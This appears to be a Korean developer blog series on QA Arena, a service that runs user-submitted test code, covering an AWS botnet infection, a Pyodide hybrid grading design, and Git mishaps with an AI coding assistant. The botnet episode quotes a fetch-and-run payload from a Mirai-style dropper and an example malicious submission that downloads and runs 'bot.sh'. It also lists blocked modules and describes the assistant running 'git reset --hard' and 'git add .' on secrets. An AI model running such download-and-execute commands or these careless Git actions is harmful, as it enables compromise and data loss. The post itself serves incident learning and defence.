📢 오픈 베타 테스트 참여 안내 이 프로젝트는 현재 오픈 베타 중입니다. "내 테스트 코드는 몇 점일까?" 궁금하신 분들은 아래 링크에서 체험해보세요! 👉 QA Arena 바로가기

"Your AWS resource has been implicated in activity which resembles attempts to access remote hosts on the internet without authorization."

12월 19일 금요일 점심시간, 메일함에 뜬 제목을 보고 심장이 멎는 줄 알았습니다.

AWS Trust & Safety Team

이 발신자명을 보는 순간, 뭔가 심각하게 잘못됐다는 걸 직감했죠.

"내 서버가... 해킹당했다고?"

오늘은 AWS Abuse Report를 두 번이나 받고, 결국 Docker 보안의 중요성을 뼈저리게 깨달은 이야기를 공유합니다.(저 같은 실수를 하지 않으시길 바라며... 😭)

🚨 1. 그 메일이 왔다: 악몽의 시작

D-Day: 2025년 12월 19일 금요일

평화로운 점심시간, 알림이 울렸습니다.

From: trustandsafety@support.aws.com
Subject: Your AWS Abuse Report [15090894223]

We've received a report(s) that your AWS resource(s)
EC2 Instance Id: i-02-------------
has been implicated in activity which resembles attempts
to access remote hosts on the internet without authorization.

"unauthorized activity"... 눈을 의심했습니다. "스팸인가? 오인가?" 하고 자세히 로그를 읽어보니 상황은 심각했습니다.

{
  "payload_class": "exploit:iot/cve_2017_18368",
  "destination_ip": "95.40.24.249",
  "destination_port": 8080,
  "source_ip": "3.38.xxx.xxx"  // 👈 이게 내 EC2 IP입니다...
}

제 서버가 IoT 취약점 exploit 공격을 '수행'하고 있었습니다. 😱 피해자가 아니라 가해자가 된 상황이었죠.

2시간 30분 후: 상황 악화

식은땀을 흘리며 로그를 뒤지던 중, 두 번째 메일이 도착합니다.

From: trustandsafety@support.aws.com
Subject: Your AWS Abuse Report [15550257889]

...have been implicated in activity that indicates that
it may be infected with malware and may be part of a botnet.

Average Gbits/sec sent: 0.1889

봇넷(Botnet). 제 작고 소중한 서버가 DDoS 공격 좀비 PC로 동원되고 있었습니다. 초당 0.19Gbps의 트래픽을 어딘가로 쏘고 있었죠.

공격 패턴 분석

AWS가 첨부해 준 로그를 분석해보니 전형적인** Mirai 봇넷 변종** 패턴이었습니다.

페이로드를 디코딩해보니 더 가관이었습니다.

/bin/busybox wget http://thepenguins.xyz/zyxel.sh;
chmod +x zyxel.sh;
./zyxel.sh

Mirai 봇넷 변종의 전형적인 패턴이었습니다.

악성 스크립트를 다운받아 실행하고, 또 다른 숙주를 찾아 떠나는 전형적인 웜(Worm) 방식이었습니다.

💀 2. 첫 번째 대응: "일단 끄자"

SECOND NOTIFICATION: 최후통첩

당황해서 우왕좌왕하던 사이, 4일 뒤 AWS로부터 무시무시한 메일이 옵니다.

** SECOND NOTIFICATION **

We have not received a response regarding the abuse report.
Failure to respond could lead to possible mitigation
against the implicated resources.

In order to resolve this report please reply to this email
within 24 hours.

"24시간 내 답변 안 하면 리소스 제재(Mitigation) 들어갑니다."

서비스가 중단될 위기였습니다. 일단 급한 불부터 끄기로 했습니다.

긴급 조치

1. 감염된 인스턴스 즉시 종료

# 1. 감염된 인스턴스 즉시 중지
aws ec2 stop-instances --instance-ids i-02--------

2. 새 인스턴스로 이사

# 2. 새 인스턴스 생성 및 서비스 마이그레이션
# (i-05--------로 이전)

# 3. AWS에 회신

깨끗한 OS에서 다시 시작하자. (라고 믿었습니다.)

3. AWS에 회신

"인스턴스 격리했고, 보안 그룹 재설정했습니다. 봐주세요."

조사 과정

CloudTrail을 뒤져봤습니다:

2025-12-18T16:21:32Z: AuthorizeSecurityGroupIngress
  – allowed TCP/8080 from 223.38.51.200/32 (내 IP)

2025-12-18T16:44:14Z: RevokeSecurityGroupIngress
  – revoked the same rule

인바운드는 내 IP에서만 잠깐 열었다가 닫았는데...

문제는 아웃바운드였습니다.

CloudTrail을 뒤져보니 인바운드 규칙은 철저히 관리하고 있었는데, 문제는 아웃바운드(Outbound)였습니다. 기본 Security Group은 아웃바운드가 All Traffic 허용(0.0.0.0/0) 이거든요. 들어오는 건 막았는데, 안에서 나가는 건 프리패스였던 겁니다.

12월 31일: 케이스 종결

상세한 조사 결과를 보내고 나서:

From: trustandsafety@support.aws.com

Thank you for your attention to this abuse notification.
We see that all necessary actions have been taken to
address this abuse report.

휴, 일단 해결. 😮‍💨

...하지만 이건 폭풍 전야였습니다.

😱 3. 두 번째 공격: "왜 또?!"

2026년 1월 13일 새벽 2시

새해를 맞아 기분 좋게 서비스를 운영하던 중, 또 다시 메일이 왔습니다.

새 인스턴스도 감염됐습니다. 진짜 멘붕이 왔습니다.

• ✅ 새로 만든 인스턴스인데?
• ✅ SSH 포트도 닫고 SSM으로만 접근했는데?
• ✅ Security Group도 빡빡하게 잡았는데?

대체 어디로 들어온 거지?

🔍 4. 진짜 원인을 찾다: 범인은 내 코드 안에 있다

"잠깐, 우리 서비스가 뭐 하는 거지?"

제가 개발 중인 QA Arena는 사용자가 제출한 테스트 코드를 실행하는 서비스입니다.

User Submit Code → Server Run → Result

즉, "신뢰할 수 없는 코드 실행(Untrusted Code Execution)" 이 서비스의 핵심 기능입니다. 여기서 머리를 한 대 맞은 것 같았습니다.

Docker 설정을 까보자 사용자 코드를 실행하는 Docker 컨테이너 설정을 확인해봤습니다.

Untrusted code execution.

여기서 번뜩였습니다.

Docker 설정 확인

채점용 Docker 컨테이너 설정을 확인해봤더니:

# docker_service.py (문제의 코드)
container = docker_client.containers.run(
    image="python:3.11-slim",
    command=f"pytest {test_file}",
    # 😱 network_mode 설정이 없음!!
)

network_mode 설정이 없었습니다.

Docker의 기본 네트워크 모드는 _bridge_입니다. 별도 설정이 없으면 컨테이너 내부에서 인터넷(외부망) 연결이 가능합니다.

공격 시나리오 재구성

범인은 외부 해커가 침투한 게 아니라, "테스트 코드인 척" 들어온 악성 코드였습니다.

1. 공격자가 악성 코드가 포함된 Python 파일을 제출.
2. 서버는 순진하게 Docker 컨테이너를 띄워서 실행.
3. 컨테이너는 인터넷이 되니까(Network Mode: Bridge), C&C 서버에서 악성 쉘 스크립트를 다운로드.
4. 내 서버가 봇넷의 일원이 됨.

사용자가 제출한 코드 안에 이런 게 숨어있었을 수 있어요:

# 😈 공격자가 제출했을 법한 코드
import subprocess

# "테스트 통과시켜주세요~" 하면서 백그라운드에서 봇 다운로드
subprocess.run(["wget", "http://malicious.site/bot.sh", "-O", "/tmp/bot.sh"])
subprocess.run(["bash", "/tmp/bot.sh"])

def test_fake():
    assert True

🛡️ 5. 진짜 해결책: 철벽 방어

인스턴스를 바꾸는 건 미봉책일 뿐, 아키텍처 레벨의 격리가 필요했습니다.

Docker 네트워크 완전 차단 (핵심 ⭐)

# ✅ 수정 후 코드
container = docker_client.containers.run(
    image="python:3.11-slim",
    command=f"pytest {test_file}",
    network_mode="none",  # 👈 네트워크를 물리적으로 끊어버림!
)

network_mode="none"을 주면 컨테이너는 오직 로컬(Loopback)만 볼 수 있습니다. wget, curl, pip install 아무것도 안 됩니다.

2. Security Group 아웃바운드 화이트리스트

Before:
- Outbound: All Traffic → 0.0.0.0/0  ❌

After:
- Outbound: HTTPS (443) → 0.0.0.0/0  ✅
- (나머지 전부 차단)

• Before: Outbound All Traffic (0.0.0.0/0) ❌
• After: Outbound HTTPS(443) Only ✅
  • OS 업데이트나 필수 API 호출 외에는 싹 다 막았습니다.

3. 코드 레벨 방어 (Python Import Hook)

# conftest.py (pytest 실행 시 자동 로드)
import sys

BLOCKED_MODULES = ['subprocess', 'os.system', 'socket', 'urllib', 'requests']

class ImportBlocker:
    def find_module(self, name, path=None):
        if any(blocked in name for blocked in BLOCKED_MODULES):
            raise ImportError(f"🚫 보안상 {name} 모듈은 사용할 수 없습니다.")
        return None

sys.meta_path.insert(0, ImportBlocker())

AWS 최종 회신

원인을 정확히 파악했다는 것을 어필하며 AWS에 최종 메일을 보냈습니다.

"원인은 Docker 컨테이너의 네트워크 격리 미흡이었습니다. network_mode='none'을 적용하여 물리적으로 외부 통신을 차단했고, 아웃바운드 규칙도 강화했습니다."

결과는? 깔끔하게 해결되었습니다. 🎉

📊 6. 타임라인 요약

[1차 사건: 2025년 12월]
12/19 12:47 ─ 첫 Abuse Report (IoT exploit)
      15:23 ─ 두 번째 Report (봇넷 감염, DDoS)
12/20 09:18 ─ 세 번째 Report (Huawei exploit)
12/23 18:26 ─ SECOND NOTIFICATION (24시간 최후통첩)
      19:34 ─ 첫 회신 + 인스턴스 마이그레이션
12/31 22:22 ─ 상세 조사 결과 회신
01/02 00:19 ─ AWS 케이스 종결 ✅

[2차 사건: 2026년 1월]
01/13 02:07 ─ 새 인스턴스도 감염! (봇넷 C&C 통신)
01/14 17:04 ─ 원인 발견: Docker 네트워크 미격리
             ─ network_mode="none" 패치 적용
             ─ AWS 최종 회신

💡7. 교훈 및 체크리스트

이번 사건으로 얻은 교훈을 정리해봅니다. 혹시라도 "사용자 코드를 실행하는 기능"을 구현하신다면 꼭 체크해보세요.

✅ Untrusted Code 실행 환경 체크리스트 💥 네트워크 격리: Docker network_mode="none"은 선택이 아닌 필수. 💥 아웃바운드 제한: Security Group에서 Outbound도 All Open 금지. 💥 시스템 콜 제한: 가능하다면 gVisor나 Firecracker 같은 샌드박스 기술 검토. 💥 리소스 제한: CPU/Memory 제한(--cpus, --memory)으로 무한 루프 방지. 💥 모니터링: CloudTrail과 GuardDuty 알림 켜두기.---

💬 9. 마치며

"내 서버가 봇넷에 편입됐다"

남의 일인 줄만 알았던 일이 저에게 벌어졌습니다. 특히 "새 인스턴스로 이사 갔는데도 또 뚫린" 경험은 정말 아찔했습니다. 문제는 '서버'가 아니라 '구조(Architecture)' 에 있었으니까요.

network_mode="none" 한 줄이 AWS Abuse Report를 막아줍니다.

저의 이 삽질(?) 기록이 누군가에게는 도움이 되길 바랍니다. 긴 글 읽어주셔서 감사합니다!

📌 다음 화 예고

📌 다음 화 예고

Ep 6. 문제 자동 생성의 현실: 양은 AI가, 품질은 프로세스가

"GPT한테 코딩 테스트 문제 만들어달라고 했더니... 절반이 풀 수 없는 문제였습니다." 🤯

LLM으로 코딩 테스트 문제를 자동 생성하려던 시도, 그리고 "AI가 만든 문제"의 품질을 보장하기 위해 만든 검증 파이프라인(Self-Correction)을 공유합니다.

(발행 예정)

👉 직접 체험해보기: QA Arena에서 안전하게 테스트 코드 실행하기

[Project Info]

• Service: https://qa-arena.qalabs.kr
• Status: Open Beta (Non-profit Project)
• Developer: Ryu Junghyun (QA Engineer)
• Feedback: 의견 보내기 (Google Form)

📚 참고 자료

• AWS Abuse Report 대응 가이드
• Docker Network Modes
• Mirai Botnet - Wikipedia
• AWS Security Best Practices

📢 오픈 베타 테스트 참여 안내 "하이브리드 채점 시스템이 궁금하다면?" 👉 QA Arena 바로가기

"서버비를 아끼고 싶지만, 보안과 AI 기능은 포기 못 해!"

지난 편에서 Git 삽질기를 공유했는데요, 이제 💸 비용(Cost) 과 품질(Quality) 사이의 딜레마가 찾아왔습니다.

보통 코딩 테스트 플랫폼은 두 가지 선택지 중 하나를 고릅니다.

1. Server-side 채점: 안전하고 AI 연동도 쉽지만, 비싸고 느리다. (EC2 CPU 활활 🔥)
2. Client-side 채점: 빠르고 공짜지만, 조작이 쉽고 기능이 제한적이다.

처음 서버 환경 구성할 때에는 아무것도 모르고 무료 환경을 설정하였죠 t3.micro. 하지만 Server-side 채점 방식을 구현하고 Docker 빌드를 했더니 Instance를 날려먹었습니다. ㅠㅠ

조금 더 비용이 드는 환경(t2.medium)을 세팅해두고도 마찬가지였습니다. 또 한 번 Instance를 날렸죠. 아주 비싼 서버를 사용해야 할 수밖에 없는 상태였습니다.

비용을 절감하고, 서버 부담도 줄이고, 속도는 높이면서 AI 활용도는 최대로 올릴 방법은 없을까?

오늘은 Pyodide와 EC2를 조합한 하이브리드 채점 아키텍처로, 비용은 최소화하면서 안정성과 AI 기능까지 챙긴 이야기를 공유합니다.

🐢 1. 왜 하이브리드인가? (Problem & Solution)

기존의 문제: 무거움 vs 가벼움

처음엔 100% 서버 채점을 생각했습니다. 하지만 사용자가 100명만 몰려도 pytest 실행 부하 때문에 서버가 뻗을 게 뻔했습니다. 그렇다고 100% 브라우저 채점으로 가자니, 사용자가 결과를 조작해서 보내거나(Security), LLM을 이용한 정교한 피드백(AI)을 주기 어려웠죠.

해결책: 역할 분담 (Split Responsibility)

그래서 역할을 철저하게 나눴습니다.

"무거운 건 네가 들고, 판단은 내가 할게." 이 구조 덕분에 서버는 단순히 채점 결과(텍스트)만 받아서 분석하면 되므로, t3.micro 같은 저사양 서버로도 트래픽을 감당할 수 있게 되었습니다.

🚀 구세주의 등장: Pyodide !

이 문제를 해결하기 위해 도입한 것이 바로 Pyodide입니다. 이름이 생소하시죠? 쉽게 설명해 드릴게요.

Pyodide가 뭔가요?

Pyodide = Python + Iodide (WebAssembly) "브라우저 안에 작은 파이썬 가상 머신을 심는 것

보통 파이썬은 컴퓨터에 설치해야 돌아가잖아요? 하지만 Pyodide는 파이썬 인터프리터를 WebAssembly(WASM)로 컴파일해서, 크롬이나 사파리 같은 브라우저에서 파이썬 코드가 직접 돌아가게 만듭니다.

자바스크립트로 파이썬 흉내를 낸 게 아닙니다. 진짜 CPython이 브라우저 위에서 돌아가는 겁니다. NumPy, Pandas, 그리고 제가 가장 필요했던 pytest까지 전부 지원합니다!

// 브라우저에서 Python 실행
const pyodide = await loadPyodide();
pyodide.runPython(`
    import pytest
    # pytest 실행 가능!
`);

이게 왜 대박인가요?

이 기술을 도입하면 아키텍처가 이렇게 변합니다.

서버가 담당해야 할 일이 크게 줄었습니다!.

🛠️ 3. 어떻게 구현했나? (기술 찍먹)

"브라우저에서 파이썬이 돌아가면, 화면 멈추는 거 아냐?" 맞습니다. 그래서 Web Worker가 필수입니다.

핵심 구조: Main Thread vs Web Worker

UI가 버벅거리지 않도록, 채점 로직은 별도의 스레드(Web Worker)로 분리했습니다.

// frontend/worker.js (대략적인 의사 코드)

// 1. Pyodide 불러오기 (CDN)
importScripts("https://cdn.jsdelivr.net/pyodide/v0.29.0/full/pyodide.js");

async function init() {
  // 2. 파이썬 로딩
  self.pyodide = await loadPyodide();

  // 3. micropip으로 pytest 설치 (이게 됨!)
  await self.pyodide.loadPackage("micropip");
  const micropip = self.pyodide.pyimport("micropip");
  await micropip.install("pytest");
}

// 4. 채점 요청이 오면 실행
self.onmessage = async (event) => {
  const { userCode } = event.data;

  // 파이썬 코드 실행
  self.pyodide.runPython(`
    with open("submission.py", "w") as f:
        f.write('''${userCode}''')
  `);

  // pytest 실행
  const result = self.pyodide.runPython("import pytest; pytest.main(['submission.py'])");

  postMessage(result); // 결과 반환
};

1. Code Execution (Browser) ⚡️

   • 사용자가 "채점하기"를 누르면 Pyodide(브라우저 내 파이썬)가 깨어납니다.
   • pytest를 로컬에서 직접 실행합니다. 이때 CPU 부하는 전적으로 사용자 PC가 부담합니다.
   • 결과로 나오는 Raw Log (실행 로그)를 캡처합니다.

2. Transmission (Secure API) 📡

   • 브라우저는 "내가 몇 점이야"라고 보내지 않습니다. (조작 가능성 때문)
   • 대신 "실행했더니 이런 로그가 나왔어" 라고 실행 결과 데이터 자체를 서버로 전송합니다.

3. Validation & AI Feedback (Server) 🧠

   • 검증: 서버는 로그를 파싱해서 실제 테스트 통과 여부를 재확인합니다.
   • AI 분석: 실패한 케이스가 있다면, 서버에 연결된 LLM이 로그를 분석해 "엣지 케이스 처리가 부족하네요" 같은 피드백을 생성합니다.
   • 최종 결과를 DB에 저장하고 사용자에게 반환합니다.

이렇게 하면 사용자는 제출 버튼을 누르자마자 (네트워크 통신 없이) 0.5초 만에 채점 결과를 받아볼 수 있습니다.

📸 3.5. 백문이 불여일견: 실제 속도를 보세요

① 실행은 브라우저에서 빠르고 가볍게 ⚡️

먼저 코드를 작성하고 실행했을 때의 화면입니다.

⏱️ 771ms 서버 큐(Queue)에서 기다릴 필요 없이, 내 컴퓨터 성능만큼 빠르게 실행됩니다. 하지만 하단의 "AI 분석 결과" 는 서버가 안전하게 생성해서 내려준 것입니다.

② 채점은 서버에서 깊이 있고 정확하게 🧠

그렇다면 서버는 무엇을 할까요? 아래는 최종 채점 결과 화면입니다.

브라우저가 보낸 실행 로그를 바탕으로, 서버가 놓친 버그들을 정밀하게 분석하고 학습 지표와 개선 힌트까지 제공합니다.

이것이 바로 하이브리드 아키텍처의 힘입니다. 사용자는 대기 시간 없는 쾌적함을 얻고, 동시에 서버 기반의 고품질 분석 결과를 받아볼 수 있습니다.

💰 4. 얻은 것

이 하이브리드 구조를 통해 세 마리 토끼를 잡았습니다.

1. 비용 절감 (Cost Efficiency)

• 가장 비싼 리소스인 'CPU 연산'을 클라이언트로 위임했습니다.
• 서버는 가벼운 텍스트 처리와 API 호출만 담당하므로 유지비가 거의 들지 않습니다.

  2. 보안 및 신뢰성 (Security)

• 채점의 최종 권한(Authority)은 여전히 서버에 있습니다.
• 클라이언트가 결과를 위조하려 해도, 서버가 로그 패턴을 검증하므로 걸러낼 수 있습니다.

  3. 사용자 경험 (AI & UX)

• 사용자는 "대기 시간 없는 빠른 실행" 을 경험합니다.
• 동시에 "서버 기반의 고품질 AI 피드백" 을 받을 수 있습니다.

🤔 5. 물론 단점도 있습니다 (솔직 회고)

정직한 한계

세상에 공짜 점심은 없듯이, Pyodide 도입 시 고려해야 할 트레이드오프가 있습니다.

1. 초기 로딩 속도 (무거움): Pyodide 런타임과 라이브러리를 다운로드해야 하는데, 이게 약 10MB~20MB 정도 됩니다.

   해결: 브라우저 캐싱을 적극 활용하고, 사용자가 문제를 읽는 동안 백그라운드에서 미리 로딩(Preload)하도록 처리했습니다.

2. "혹시 채굴하나요?" (사용자 리소스 사용 고지) ⚠️ 아무 설명 없이 사용자의 CPU를 풀가동하면, 갑자기 도는 팬 소리에 사용자가 놀랄 수 있습니다. (크립토재킹으로 오해받기 딱 좋죠.)

   해결: UI에 "더 빠른 결과를 위해 브라우저에서 직접 채점합니다" 라고 명시적으로 알리고 있습니다. 몰래 쓰는 게 아니라, '대기 시간 없는 쾌적한 경험'을 위해 리소스를 교환한다는 느낌을 드리기 위해서죠.

6. 🎁 마치며

"무조건적인 서버리스(Serverless)가 정답은 아닙니다."

중요한 건 "어떤 작업을 어디서 처리하느냐" 입니다.

• 무거운 반복 작업 → Client (Pyodide)
• 중요한 판단과 지능 → Server (EC2 + AI)

이 균형을 맞춘 덕분에 QA Arena는 저비용 고효율 구조를 갖추게 되었습니다. 혹시 저처럼 리소스 낭비가 걱정되는 프로젝트를 하고 계신다면, 이 하이브리드 접근법을 강력 추천합니다!

👇 직접 체험해보세요! 빠른 속도와 똑똑한 AI 피드백을 동시에 경험해보세요. (모바일에서도 돌아갑니다!) (우측 하단 실행 시간을 꼭 확인해보세요!)

👉 QA Arena 바로가기

환경 이슈가 있다면 댓글이나 피드백 폼으로 알려주세요!

• OS/브라우저 정보
• 에러 메시지 (있다면)

📌 다음 화 예고

Ep 5. 하이브리드 채점 시스템: 클라이언트 vs 서버, 언제 어떤 걸 쓸까?

"클라이언트 채점만으로 충분할까요? 아닙니다."

Fallback 전략, 무결성 검증, 경쟁 모드 설계까지 - 하이브리드 시스템의 실전 노하우를 공유합니다.

👉 직접 체험해보기: QA Arena에서 내 테스트 코드 품질 확인하기

[Project Info]

• Service: https://qa-arena.qalabs.kr
• Status: Open Beta (Non-profit Project)
• Developer: Ryu Junghyun (QA Engineer)
• Feedback: 의견 보내기 (Google Form)

📚 참고 자료

• Pyodide 공식 문서
• Web Workers API - MDN
• Zustand 공식 문서
• Mutation Testing 소개 - Wikipedia

📢 오픈 베타 테스트 참여 안내 이 프로젝트는 현재 오픈 베타 중입니다. "내 테스트 코드는 몇 점일까?" 궁금하신 분들은 아래 링크에서 체험해보세요! 👉 QA Arena 바로가기

"커밋 메시지도 AI가 쓰고, 브랜치 관리도 AI가 하고..."

지난 편에서 Claude Code로 배포 자동화, 일일 리포트, 가상 팀원 시스템까지 만들었다고 자랑했죠?

그런데 말입니다...

어느 날, Git 히스토리가 꼬였습니다. 😱

여러분도 이런 경험 있으신가요?

• "어제 커밋 어디 갔지...?"
• "롤백하고 싶은데 어디로 돌아가야 하지?"
• "왜 배포했는데 반영이 안 되지?"

오늘은 AI에게 Git을 전부 맡겼다가 겪은 삽질기와, 그걸 어떻게 극복했는지 솔직하게 공유합니다.

🔥 1. 사건의 시작 - 무슨 일이 있었나

🍯 AI와의 달콤한 협업

QA Arena 프로젝트의 313개 커밋 중 절반 이상은 AI와 함께 작성했습니다.

처음엔 정말 편했어요:

나: "이 기능 구현해줘"
AI: (코드 작성)
AI: "커밋할까요?"
나: "ㅇㅇ"
AI: (커밋 완료)

점점 더 많은 걸 맡기게 됐습니다:

• ✅ 코드 작성
• ✅ 커밋 메시지 작성
• ✅ 브랜치 관리
• ✅ 머지
• ✅ 푸시
• ✅ 배포

"편하니까 다 맡기면 되지 뭐~"

...그렇게 재앙이 시작됐습니다.

💀 2. 실패 케이스 모음

실제로 제가 겪은 (그리고 간신히 복구한) 사고들입니다. 10가지나 됩니다. 부끄럽지만 다 공개할게요. 😅

📝 2-1. 커밋 메시지 지옥

어느 날 히스토리를 봤더니:

$ git log --oneline
a1b2c3d fix
e4f5g6h update
i7j8k9l wip
m0n1o2p asdf
q3r4s5t fix2
r6s7t8u update again

"fix가 뭘 고친 거야...?" 🤦

AI한테 "커밋해줘"만 했더니, 의미 없는 메시지가 쌓이고 있었습니다. 나중에 특정 변경을 찾아야 할 때? 지옥이었죠.

🌿 2-2. main 브랜치 직접 푸시 습관

$ git branch
* main

브랜치가 main 하나뿐...? 🤔

AI한테 "커밋하고 푸시해줘" 하면 당연히 현재 브랜치(main)에 바로 푸시했습니다. feature 브랜치? PR? 그런 거 없었습니다.

결과:

• 실험 코드가 바로 프로덕션에 배포됨
• "아 이거 아닌데" 싶을 때 이미 main에 머지됨
• 롤백하려면 어디까지 돌아가야 하는지 모름

⏪ 2-3. 롤백 불가 상황

나: "어제 기능 롤백해줘"
AI: "어느 커밋으로 돌아갈까요?"
나: "... 🤔"

커밋 메시지가 전부 "fix", "update"라서 어느 시점으로 돌아가야 하는지 알 수가 없었습니다.

결국 수동으로 코드 diff 하나하나 확인하며 복구... 3시간 날림.

🔄 2-4. 코드 원복 오류 ⭐ (핵심 사고)

main에만 직접 커밋하다 보니:

1. 기능 A 개발 → main 커밋
2. 기능 B 개발 → main 커밋
3. "기능 A 버그 있음, 원복해야 함"
4. ???

기능 A와 B가 섞여 있어서 A만 원복하는 게 불가능했습니다. 브랜치로 분리했으면 git revert 한 방이었을 텐데...

💥 2-5. git reset --hard 사고

나: "변경사항 다 취소해줘"
AI: (생각 없이) git reset --hard HEAD
나: "잠깐, 커밋 안 한 작업이..."

💀 2시간 작업 증발

AI는 "취소해달라"고 하면 가장 확실한 방법을 씁니다. 근데 그게 커밋 안 한 작업까지 날려버리는 방법이었죠.

⚔️ 2-6. 충돌 지옥

로컬에서 작업하는 동안, EC2에서도 "급하게" 뭔가 고쳤습니다.

$ git pull
CONFLICT (content): Merge conflict in app/main.py
Automatic merge failed; fix conflicts and then commit the result.

양쪽에서 같은 파일을 수정했으니 당연히 충돌. 그걸 AI한테 해결하라고 했더니... 제 코드가 날아갔습니다. 🙃

🔐 2-7. 환경 파일 커밋 아찔

나: "변경된 거 다 커밋해줘"
AI: git add .
AI: git commit -m "update all files"

잠깐, .env 파일이 수정되어 있었는데...?

다행히 푸시 전에 발견했지만, API 키가 GitHub에 올라갈 뻔했습니다. 😰

🖥️ 2-8. 서버 드리프트 ⭐ (운영 사고)

상황: EC2에서 "급하게" 설정 파일 직접 수정

# EC2에서
$ vim config.py  # tracked 파일 수정
$ # (커밋 안 함, 그냥 서비스 재시작)

다음 배포 시:

$ git pull origin main
error: Your local changes to the following files would be overwritten by merge:
        config.py
Please commit your changes or stash them before you merge.

배포가 멈췄습니다. 서버에서 뭘 고쳤는지도 기억 안 나는데...

👻 2-9. 유령 배포 ⭐ (가장 황당한 사고)

상황: 로컬에서 열심히 수정함

# 로컬에서
$ git status
Changes not staged for commit:
  modified:   app/api.py
  modified:   app/service.py

나: "좋아, 배포하자!"

# EC2에서
$ git pull origin main
Already up to date.

나: "...어? 왜 안 바뀌지?"

커밋/푸시를 안 했으니 당연히 EC2에는 아무것도 없죠. "배포하면 반영되겠지"라는 착각이 문제였습니다.

👯 2-10. 분신술의 최후 (멀티 AI 동시 실행) ⭐

상황: 개발 속도를 2배로 올리고 싶다는 욕심이 생겼습니다. "터미널 두 개 띄우고, Claude Code 두 명한테 동시에 시키면 2배 빠르겠지?" 🧠⚡

터미널 1 (AI-A): "로그인 API 만들까요?" -> 나: "ㅇㅇ (Yes)"
터미널 2 (AI-B): "로그인 UI 고칠까요?" -> 나: "ㅇㅇ (Yes)"

문제: 무의식적으로 양쪽 터미널에서 Enter(Yes)를 연타하다 보니 사단이 났습니다.

같은 로컬 폴더(브랜치)를 공유하고 있으니, AI A가 수정하는 도중에 AI B가 파일을 읽어가고, 다시 AI A가 덮어쓰는 '대환장 파티'가 벌어졌습니다. 나중에 코드를 열어보니 똑같은 함수가 파일 안에 두 번 정의되어 있더군요. (AI들도 서로의 존재를 모르니...)

🔍 3. 근본 원인 - 왜 이런 일이 발생했나

냉정하게 분석해보면 뭐가 문제였을까요?

핵심: AI는 시킨 대로 할 뿐, "이게 맞는 방법인지"는 판단하지 않습니다.

그럼 어떻게 해야 할까요? 🤔

🛠️ 4. 해결 과정 - 어떻게 극복했나

📜 4-1. Git 운영 룰을 문서로 고정

프로덕션 운영이 들어가면서, "사고 방지용" Git 규칙을 문서화했습니다:

## Git Workflow 핵심 원칙

1. ❌ main에 직접 커밋 금지
2. ✅ 새 작업은 feature/fix 브랜치에서 시작
3. ✅ 작업 완료 → push → PR로 main 반영
4. ❌ 서버에서 Git-tracked 파일 직접 수정 금지
5. ✅ 배포는 main 기준 git pull → docker compose rebuild

이 규칙을 docs/specs/git-workflow.md에 박아두고, CLAUDE.md에서도 참조하게 했습니다.

🔄 4-2. 배포 = Git 동기화로 정의

배포 가이드의 첫 단계를 항상:

git switch main
git fetch origin
git pull origin main

로 고정했습니다.

"배포 = Git 동기화가 선행되는 행위"

이렇게 정의하니까:

• PR 머지 없이는 배포 결과가 안 바뀜
• "유령 배포" 사고 원천 차단
• 서버 드리프트 조기 발견

🛤️ 4-3. 표준 Git 흐름 확립

1. 로컬에서 main 최신화
   └→ git switch main && git pull

2. feature 브랜치 생성
   └→ git switch -c feature/new-thing

3. 작업 → 커밋 → 푸시
   └→ git add . && git commit && git push

4. GitHub PR 생성
   └→ 리뷰/히스토리 확보

5. main 머지
   └→ PR approve → merge

6. 서버 배포
   └→ /deploy (main pull → rebuild)

🤖 4-4. 스킬로 자동화

이 규칙들을 Claude Code 스킬에 녹였습니다:

/check-sync: 배포 전 로컬-서버 동기화 확인

========================================
로컬 (Windows)
========================================
브랜치: main
최신 커밋: abc1234 feat: Add new feature

========================================
EC2 (Linux)
========================================
브랜치: main
최신 커밋: xyz7890 fix: Bug fix

========================================
⚠️ 싱크가 맞지 않습니다!
권장: git push 후 /deploy 실행
========================================

/ec2-deploy: 9단계 배포 워크플로우

• Step 1: 사전 체크 (git status)
• Step 2: 보안 스캔 (민감정보 검사)
• Step 3: 코드 리뷰 (100줄+ 변경 시)
• Step 4: 사용자 확인
• Step 5: 커밋 & 푸시
• Step 6: 롤백 포인트 저장 ⭐
• Step 7: EC2 배포
• Step 8: 헬스체크
• Step 9: 실패 시 자동 롤백

핵심: 롤백 포인트를 자동 저장해서 "어디로 돌아가야 하지?" 문제 해결

🌳 4-5. 'Git Worktree'로 AI 격리 구역 만들기

앞서 말한 '분신술 실패(2-10번)'를 겪고 도입한 것이 Git Worktree입니다. 단순히 브랜치만 나누는 게 아니라, 아예 작업 폴더(Directory)를 물리적으로 격리시켜버리는 거죠.

# 메인 프로젝트 폴더가 아닌, 별도 폴더로 브랜치를 체크아웃
# AI-1에게 줄 방 (feature/auth)
$ git worktree add ../qa-arena-auth feature/auth

# AI-2에게 줄 방 (feature/ui)
$ git worktree add ../qa-arena-ui feature/ui

이렇게 하면:

1. AI 1번은 ../qa-arena-auth 폴더에서 Claude Code 실행

2. AI 2번은 ../qa-arena-ui 폴더에서 Claude Code 실행

서로 다른 폴더에서 파일 시스템 자체가 분리된 채로 작업하니, '무의식의 Yes'를 날려도 충돌이 날 일이 없습니다. 작업이 끝나면 각자 Push 하고 PR 보내면 끝!

이제 터미널 3개를 띄워도 안전합니다. (제 뇌만 버틴다면요 🤯)

✅ 5. 재발 방지 - 이제는 안 당합니다

그래서 뭘 배웠냐고요? 이거 하나면 됩니다.

AI에게 맡겨도 되는 것 vs 안 되는 것

Git 워크플로우 Before/After 비교

Git 워크플로우 Before/After

┌───────────────────────────────┬───────────────────────────────────────────┐
│ Before 😱                      │ After 😎                                   │
├───────────────────────────────┼───────────────────────────────────────────┤
│ $ git add .                    │ $ /check-sync                              │
│ $ git commit -m "fix"          │ $ /ec2-deploy                               │
│ $ git push main                │                                           │
│                               │ ✅ Step 1: 사전 체크                         │
│ ❌ 히스토리 꼬임               │ ✅ Step 2: 보안 스캔                         │
│ ❌ 롤백 불가                   │ ✅ Step 3: 코드 리뷰                         │
│ ❌ 충돌 발생                   │ ✅ Step 4: 롤백 포인트 저장                  │
│ ❌ 서버 드리프트               │ ✅ Step 5: 배포                              │
│                               │ ✅ Step 6: 헬스체크                          │
│                               │ ✅ Step 7: 실패 시 자동 롤백                 │
└───────────────────────────────┴───────────────────────────────────────────┘




---

## 📋 6. 내 운영 룰

"그래서 지금은 뭘 지키고 있냐고요?"
지금 실제로 지키고 있는 체크리스트입니다:

### 🛡️ AI + Git 협업 안전 수칙
- [ ] main에 직접 커밋하지 않기
- [ ] 커밋 전 `git diff` 확인하기
